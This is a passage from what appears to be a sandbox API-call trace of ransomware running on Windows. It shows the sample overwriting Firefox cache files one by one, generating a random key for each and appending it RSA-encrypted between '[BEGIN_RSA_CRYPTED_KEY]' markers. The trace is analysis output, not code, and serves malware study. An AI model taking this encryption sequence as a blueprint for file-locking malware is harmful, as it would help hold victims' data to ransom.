lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0253.454] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.454] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0253.455] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0253.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.455] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.455] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="iKxD9WaGyrE6ECHxzMtBBzT8J4GlpC+DBlk7T2JUNKP5NGcyYvwZ2BokSavjKSXE\n1Dpeb7jXjZ0/k56w/J8ND5h+yG9vXc+DUZQYbIT5pak0KRFMjZFhdXfqWwJ9cnJD\nQLSzY+kx1o/9MsQQ3TTtdHm6FOLLEq3lEQDxpAP4uwsD85LkPIYfBSZps2fUPOsq\nrV62e0VKyRQHXnkaSSIcx2Vae+huonRVhH4NnyEfZwtXIvVg9Q2YIX68v5E6/TuT\n+SJHDbHvgFeI4oJ10xD5D3eK3o9OZQxxk2Xn/PJQF/N1fDbKs5rqjS1bYNxh4i+v\ndtN9cH4UEBYIuJGIz+OvtA==\n", pcchString=0x2e3f9a8) returned 1 [0253.455] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.456] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.456] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.456] CloseHandle (hObject=0x1b84) returned 1 [0253.457] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.457] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E931C0762EB65DE994E41E0BA86058B70B8909BD", dwFileAttributes=0x80) returned 1 [0253.458] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xb2d9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xb2d9, lpOverlapped=0x0) returned 1 [0253.610] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-45785, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.610] WriteFile (in: hFile=0x1b84, lpBuffer=0x3459340*, nNumberOfBytesToWrite=0xb2d9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3459340*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb2d9, lpOverlapped=0x0) returned 1 [0253.611] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb2d9 [0253.611] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.611] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.612] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.612] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.612] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PYjqTTY5ygaInrfl/IlHxXwW/PmDGIo1K+Ht6gaEAgZMQ0HMIEja2GdOieV7yU6n\n+LStvijVLYQfImyo+g2spORgKd1GxjBBQwsJMSmfNMMAeNXhKzpBfSpDwcUB0L6C\niE5SyLofiLBh1n/7ncnVxJBA0l1I1DS9z0RBdiUNqobFxfLA/npIK3AlUhQ/9ntn\nMgcCOOrt4KXM/tOUGfsQmwu4Nz6/eeIVAwZNKq+Y6egxHRsperBfphSFNuk0OW1K\nypljY5A45mp5tSclam+dzYePtK+tEPN/0GYvyakNiljHYgfLuU0/eoz/UoNQicew\nEZRrdG1bpXsGL99OKWCtjw==\n", pcchString=0x2e3f9a8) returned 1 [0253.612] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.612] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.612] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.612] CloseHandle (hObject=0x1b84) returned 1 [0253.617] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.617] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E8376984B7111E6C56412FE9CD32A367E9D6E072", dwFileAttributes=0x80) returned 1 [0253.618] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4bf, lpOverlapped=0x0) returned 1 [0253.678] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.678] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x4bf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4bf, lpOverlapped=0x0) returned 1 [0253.679] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4bf [0253.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.679] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.680] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IzykED5UA4w8Al/ORjHAQ7R1PC32iuMXjPjgAW3PDGKsxHUetwn8m03Lw4KplWED\nA+KWHW3md9uHq8uY84JD04Ocb0A7Wg/RbS3W11RK9NyCizjwNytaVZ0yA14BMQQL\nRugBfcBFejj0yHsLQoRSdeYrEnc4phCLAvLh5IneD7vm6F4a3i/ZCEs5ATK3Lw2t\nJW65z1bmGoclwTl1WSf7hS/mgM8GgfrjUdKK6m2PlMvJ0ditt7xuv1UEUiLrCYao\n54gMITGlt5qOi3LwurEQcX65PFPCb44nQV6RcXL/0A/5Nk/kG1oXrPg16Dw4YFx8\nG8cxLaMQ+cT+SJLDJ3TnWA==\n", pcchString=0x2e3f9a8) returned 1 [0253.680] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.681] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.681] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.681] CloseHandle (hObject=0x1b84) returned 1 [0253.683] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E7B48E66C7B7ADC3FACF9E5B398D59458DB91D31", dwFileAttributes=0x80) returned 1 [0253.684] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0xc5f9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0xc5f9, lpOverlapped=0x0) returned 1 [0253.752] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-50681, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.753] WriteFile (in: hFile=0x1b84, lpBuffer=0x345a660*, nNumberOfBytesToWrite=0xc5f9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345a660*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc5f9, lpOverlapped=0x0) returned 1 [0253.753] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc5f9 [0253.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.753] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4UKFvYlKMilCKeDPsPduY+vvA8FOHEkpJiL2eUDdC9goGbbEYZ1qInupTPFUKwFu\nRszEhWCYoml3nrbgIR1bS+kB7ebF8YRog/uqZN18TbKgXEYdU4p3gm6DV9PoAZEo\nsoTGHC4txre660pNcAJ+BXERTuntk1CK2LYzy+VT1D9CKszpo5UTXTSfTG4cwqMp\nIdiFq3G4WQomc2U5vE5saeFJ/galQIJmJwshQKXfwQXqyV8NLXEWhttYd+LKZ78x\nYU1Ct/kd2KWQcF0PFX6HdsnqBtVMUk5Bq9MB+2DNqOmF8SSC2KMQtdEQxQ+WJnTO\nt15EmC3oKnFqqDz+wu/opA==\n", pcchString=0x2e3f9a8) returned 1 [0253.754] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.754] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.755] CloseHandle (hObject=0x1b84) returned 1 [0253.756] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E771454BB360CA5F7AA169E5416B493549BC2F59", dwFileAttributes=0x80) returned 1 [0253.757] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2693, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2693, lpOverlapped=0x0) returned 1 [0253.773] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9875, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.774] WriteFile (in: hFile=0x1b84, lpBuffer=0x34506f8*, nNumberOfBytesToWrite=0x2693, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34506f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2693, lpOverlapped=0x0) returned 1 [0253.774] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2693 [0253.774] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.774] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xECLToodirrAcJ1oigByeW8Wn54PnPpgmylqet5fdMhhjWT1fh+VHGK+IjnQBnBa\nkCsJeS5SUOlea4BTadWSzg4HbDKstk6oPjY97SKS6WYfWej2qorVmE3415M9vvl0\ndUYtqEBrch0uxYRYVt4zmhntymAFrQlT3RQ+k82h8v9J2WdLvk0EHgkLOYhCgZ5g\ncHLzPJ2j0abvkgKPxu5X1jNAEXW0d9Ej1mWE1aTzgQtKP+7gcVn4GlzyEzvLjDEE\nL7ZyDpj5S0GRKf7HZ26M0k9IgQED4hOulWAQRwygZfP2388LCg9D+5oElEIT8QKy\nMArt6OgC6M2jmx4HAjwIJg==\n", pcchString=0x2e3f9a8) returned 1 [0253.775] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.775] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.776] CloseHandle (hObject=0x1b84) returned 1 [0253.777] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E6D66AFFD836C8C13B306AAB42C9C6E3425363B6", dwFileAttributes=0x80) returned 1 [0253.778] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2462, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2462, lpOverlapped=0x0) returned 1 [0253.801] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.801] WriteFile (in: hFile=0x1b84, lpBuffer=0x34504c8*, nNumberOfBytesToWrite=0x2462, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34504c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2462, lpOverlapped=0x0) returned 1 [0253.801] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2462 [0253.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.802] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.803] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.803] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.803] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S7M4ojv6jwvlXLzfeJwrlc2lXBitQZ1cl30cm4G0n4+7SeGWiSEBF67tRj/eUe5u\n2UfBySMa+ze27Z0jheVFniRt8jYES0AVB9/utLmCLQ+nBeGcXuNArpyN4lpfziAC\ns5QiSbofg2o8BRNnpdexS05k94JC66EN4av5tKYb57yAApNdCMsYO5wf27ze4rv1\nAEzHXZ2+yDjbBd1mnwTKBXxLkarDUv/Npg9GCRwNTSkuX3fGIllJkI0JIHQ7+rCM\nYHvQOCpKMjfFNzn/DkDqQ0Pbr6cWp+as6GDlNHV57XBAG2pqrQTrtNP2hn0JhdtT\nXDdJ0PwjeRxL/R172BbaqQ==\n", pcchString=0x2e3f9a8) returned 1 [0253.803] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.803] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.804] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.804] CloseHandle (hObject=0x1b84) returned 1 [0253.806] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.806] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E6969277A890C119DB7A059F8AA28C6FCE346682", dwFileAttributes=0x80) returned 1 [0253.807] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0253.824] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0253.824] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0253.824] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0253.825] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.825] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0253.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0253.826] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0253.826] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eOl2iV8etKf0QoSL9GhS1yWalNSmCp+0VD8ugg5HxfzlT0qhmaDNbs9Pq3LLRvTF\n/CeprgwU5o4Q7t7+qMen5LskOfJ3RSeArSZN+yv8pijOPlUrTvKN2t58QKsO93/K\npQApdcJmWGHjHPs0sk/D0XdhZwTgjseutk/4FaygCbp9RO/WHpSTnH5lbR9iO6ZZ\ndLGAEmu9Q3l65+bCidoDjZZyXC+LJTR/E3GEUQlhbK7KZvUNW0Go83c3Kfy4qsbv\nFR2uU5WCH8yBwIQbElIh0rL/+VD2AdIge64RXchhJJj7wnyrY5GMYh42k7bBFAsS\nq5KwVbaD+Bzhkd1sNY1IUw==\n", pcchString=0x2e3f9a8) returned 1 [0253.826] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0253.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0253.826] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0253.827] CloseHandle (hObject=0x1b84) returned 1 [0253.829] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0253.829] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E4C38E7D26DF3FA1AD4C6271429EAEDF5799F280", dwFileAttributes=0x80) returned 1 [0253.829] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, 